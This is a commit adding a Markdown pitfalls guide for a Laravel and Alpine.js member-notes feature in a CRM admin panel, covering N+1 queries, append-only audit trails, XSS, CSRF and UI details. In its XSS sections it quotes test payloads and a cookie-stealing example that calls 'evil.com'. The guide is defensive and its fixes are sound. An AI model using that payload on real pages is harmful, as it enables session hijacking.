docs: research member notes ecosystem

This commit is contained in:
2026-02-13 11:14:28 +08:00
parent 23573d3ebc
commit c962514532
6 changed files with 1980 additions and 0 deletions

View File

@@ -0,0 +1,261 @@
# Domain Pitfalls
**Domain:** CRM/Admin Member Note Systems
**Researched:** 2026-02-13
## Critical Pitfalls
Mistakes that cause rewrites or major issues.
### Pitfall 1: N+1 Query Explosion on Member List
**What goes wrong:** Loading note counts without eager loading causes N+1 queries (1 query per member row).
**Why it happens:** Developer writes `$member->notes->count()` in Blade loop, triggering lazy load per iteration.
**Consequences:**
- Member list page load time grows linearly with pagination size
- Database connection pool exhaustion (15 members = 15 extra queries)
- Poor UX (slow page loads)
**Prevention:**
```php
// WRONG: Lazy loading in loop
$members = Member::paginate(15);
// In Blade: {{ $member->notes->count() }} = 15 extra queries
// RIGHT: Eager load counts
$members = Member::withCount('notes')->paginate(15);
// In Blade: {{ $member->notes_count }} = 1 query total
```
**Detection:** Laravel Debugbar shows 15+ queries on member list page; query log shows repeated `SELECT * FROM notes WHERE notable_id = ?`.
---
### Pitfall 2: Allowing Note Edit/Delete Breaks Audit Trail
**What goes wrong:** Adding "Edit" or "Delete" buttons on notes destroys compliance value.
**Why it happens:** Users request ability to "fix typos" or "remove mistakes"; developer adds feature without considering audit implications.
**Consequences:**
- Legal/compliance risk (no immutable record of observations)
- Loss of trust (admins can rewrite history)
- Violates NPO transparency expectations
- Healthcare standards require append-only audit trails
**Prevention:**
- Hard constraint in requirements: NO edit/delete operations
- Database triggers to prevent UPDATE/DELETE on notes table (optional)
- UI design: no edit/delete buttons, only "Add Correction" button that creates new note
- Documentation: explain append-only pattern to stakeholders upfront
**Detection:** Warning signs: user stories mention "edit note," "delete note," or "fix note."
---
### Pitfall 3: XSS Vulnerability via Unescaped Note Content
**What goes wrong:** User enters `<script>alert('XSS')</script>` in note content, executes on admin viewing notes.
**Why it happens:** Developer uses `{!! $note->content !!}` (unescaped) instead of `{{ $note->content }}` (escaped) in Blade.
**Consequences:**
- Security breach (session hijacking, CSRF token theft)
- Malicious admin can inject scripts affecting other admins
- Compliance violation (data integrity)
**Prevention:**
```php
// Backend: Strip HTML tags on save
$note->content = strip_tags($request->content);
// Blade: Always escape (default)
{{ $note->content }} // ✓ Safe (auto-escapes)
{!! $note->content !!} // ✗ Dangerous (unescaped)
// Alpine.js: Use x-text, not x-html
<div x-text="note.content"></div> // ✓ Safe
<div x-html="note.content"></div> // ✗ Dangerous
```
**Detection:** Penetration testing; submit `<img src=x onerror=alert(1)>` in note form and check if alert fires.
---
### Pitfall 4: CSRF Token Missing on AJAX Requests
**What goes wrong:** Axios POST requests fail with 419 CSRF error.
**Why it happens:** Axios not configured to send `X-XSRF-TOKEN` header, or cookie not set.
**Consequences:**
- All note creation fails (HTTP 419)
- Poor UX (users can't add notes)
- Frustration (appears broken)
**Prevention:**
```javascript
// Verify in resources/js/bootstrap.js:
axios.defaults.headers.common['X-Requested-With'] = 'XMLHttpRequest';
// Axios automatically reads XSRF-TOKEN cookie and sends as X-XSRF-TOKEN header
// Verify in Blade layout:
<meta name="csrf-token" content="{{ csrf_token() }}">
// Laravel automatically sets XSRF-TOKEN cookie on page load
```
**Detection:** Browser console shows `POST /admin/members/1/notes 419 CSRF token mismatch`; Laravel logs show CSRF validation failure.
## Moderate Pitfalls
### Pitfall 5: Storing Author Name (String) Instead of user_id (Foreign Key)
**What goes wrong:** Storing `author_name: "John Smith"` instead of `user_id: 42`.
**Prevention:** Use foreign key to `users` table; join to get name dynamically. Prevents orphaned author names if user renamed.
---
### Pitfall 6: Forgetting to Index notable_id in Polymorphic Table
**What goes wrong:** Queries like `WHERE notable_id = 123 AND notable_type = 'App\\Models\\Member'` become slow without composite index.
**Prevention:** Migration includes `$table->index(['notable_type', 'notable_id'])` (morphs() helper does this automatically).
---
### Pitfall 7: Using Global Alpine.js Store for Notes
**What goes wrong:** `Alpine.store('notes', {...})` creates shared state; updating notes for Member A affects Member B's UI.
**Prevention:** Use component-scoped `x-data` per member row (see ARCHITECTURE.md Pattern 3).
---
### Pitfall 8: Not Handling AJAX Errors Gracefully
**What goes wrong:** Network failure causes silent failure; user thinks note saved but it didn't.
**Prevention:** Always show user feedback on error:
```javascript
catch (error) {
if (error.response?.status === 422) {
alert('備註內容不得為空或超過 1000 字');
} else {
alert('新增備註失敗,請稍後再試');
}
}
```
---
### Pitfall 9: Loading All Notes on Page Load (Performance)
**What goes wrong:** Eager loading `with('notes')` on member list loads ALL note content, bloating response.
**Prevention:** Use `withCount('notes')` to load only counts; fetch full notes via AJAX when user expands panel.
## Minor Pitfalls
### Pitfall 10: Inconsistent Timestamp Formatting
**What goes wrong:** Mixing "2 hours ago" and "2026-02-13 14:30" without context confuses users.
**Prevention:** Use relative timestamps for recent (<24h), absolute for older, with tooltip showing full ISO 8601.
---
### Pitfall 11: No Loading State on AJAX Submit
**What goes wrong:** User clicks "儲存" multiple times during slow network, creates duplicate notes.
**Prevention:** Disable submit button while `isAdding === true`:
```html
<button @click="addNote" :disabled="isAdding">
<span x-show="!isAdding">儲存</span>
<span x-show="isAdding">儲存中...</span>
</button>
```
---
### Pitfall 12: Not Escaping Traditional Chinese Quotes in JSON
**What goes wrong:** Note content with `「quoted text」` breaks JSON parsing if not properly escaped.
**Prevention:** Use `json_encode()` (Laravel does automatically); test with Traditional Chinese punctuation.
---
### Pitfall 13: Missing Empty State Message
**What goes wrong:** Expanded note panel shows blank space when member has no notes; user confused.
**Prevention:**
```html
<div x-show="notes.length === 0">
<p class="text-gray-500">尚無備註</p>
</div>
```
---
### Pitfall 14: Forgetting Dark Mode Styling
**What goes wrong:** Note panel has white background in dark mode, blinds users.
**Prevention:** Use Tailwind `dark:` prefix on all color classes (see ARCHITECTURE.md).
## Phase-Specific Warnings
| Phase Topic | Likely Pitfall | Mitigation |
|-------------|---------------|------------|
| **Database Migration** | Forgetting `notable_type` and `notable_id` index | Use `$table->morphs('notable')` (auto-creates index) |
| **Model Relationships** | Using `hasMany` instead of `morphMany` | Follow polymorphic pattern from start (future-proof) |
| **Controller JSON Responses** | Returning raw model instead of Resource | Always wrap in `new NoteResource($note)` for consistency |
| **Alpine.js AJAX** | Using Fetch API without CSRF token | Use Axios (already configured with CSRF in bootstrap.js) |
| **Blade Templates** | Unescaping note content | Always use `{{ }}` not `{!! !!}` for user input |
| **Query Optimization** | Lazy loading note counts | Use `withCount('notes')` in controller query |
| **Audit Logging** | Forgetting to log note creation | Add `AuditLogger::log()` call in controller `store()` method |
| **Access Control** | Adding new permission instead of reusing middleware | Reuse existing `admin` middleware (all admin roles share notes) |
| **UI/UX** | Full page reload after note submit | Use AJAX with Alpine.js (no navigation) |
| **Testing** | Not testing with Traditional Chinese input | Test with `「」、。!?` characters in note content |
## Real-World Failure Modes
### Scenario 1: The Disappeared Notes
**What happened:** Developer used `onDelete('cascade')` on `user_id` foreign key. When an admin user account was deleted, all their notes disappeared.
**Impact:** Lost audit trail; compliance violation.
**Fix:** Use `onDelete('restrict')` on `user_id` (prevent user deletion if they authored notes) OR use soft deletes on users table.
---
### Scenario 2: The Slow Member List
**What happened:** 15-member list took 3 seconds to load due to N+1 queries loading note counts.
**Impact:** Poor UX; users complained about slowness.
**Fix:** Changed `Member::paginate(15)` to `Member::withCount('notes')->paginate(15)`. Load time dropped to 200ms.
---
### Scenario 3: The XSS Attack
**What happened:** Malicious admin entered `<img src=x onerror=fetch('https://evil.com?cookie='+document.cookie)>` in note. When chairman viewed notes, session cookie leaked.
**Impact:** Session hijacking; chairman account compromised.
**Fix:** Added `strip_tags()` on backend save, changed Blade to `{{ }}`, changed Alpine.js to `x-text`.
---
### Scenario 4: The CSRF 419 Mystery
**What happened:** All note submissions failed with 419 error after developer added custom Axios instance without CSRF config.
**Impact:** Feature completely broken; users frustrated.
**Fix:** Reverted to global `axios` instance configured in `bootstrap.js` (includes CSRF token automatically).
## Sources
- [10 Essential Audit Trail Best Practices for 2026](https://signal.opshub.me/audit-trail-best-practices/) - Append-only logging
- [Addendums to Progress Notes - Healthcare Compliance](https://support.sessionshealth.com/article/393-addendum) - Why no editing
- [Laravel Debugbar N+1 Query Detection](https://github.com/barryvdh/laravel-debugbar) - Performance monitoring
- [Laravel 10.x CSRF Protection](https://laravel.com/docs/10.x/csrf) - CSRF token handling
- [Laravel 10.x Blade Security](https://laravel.com/docs/10.x/blade#displaying-data) - XSS prevention
- [Alpine.js Security Best Practices](https://alpinejs.dev/essentials/templating#security) - x-text vs x-html
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - Input sanitization
---
*Pitfalls research for: Member Notes System (會員備註系統)*
*Researched: 2026-02-13*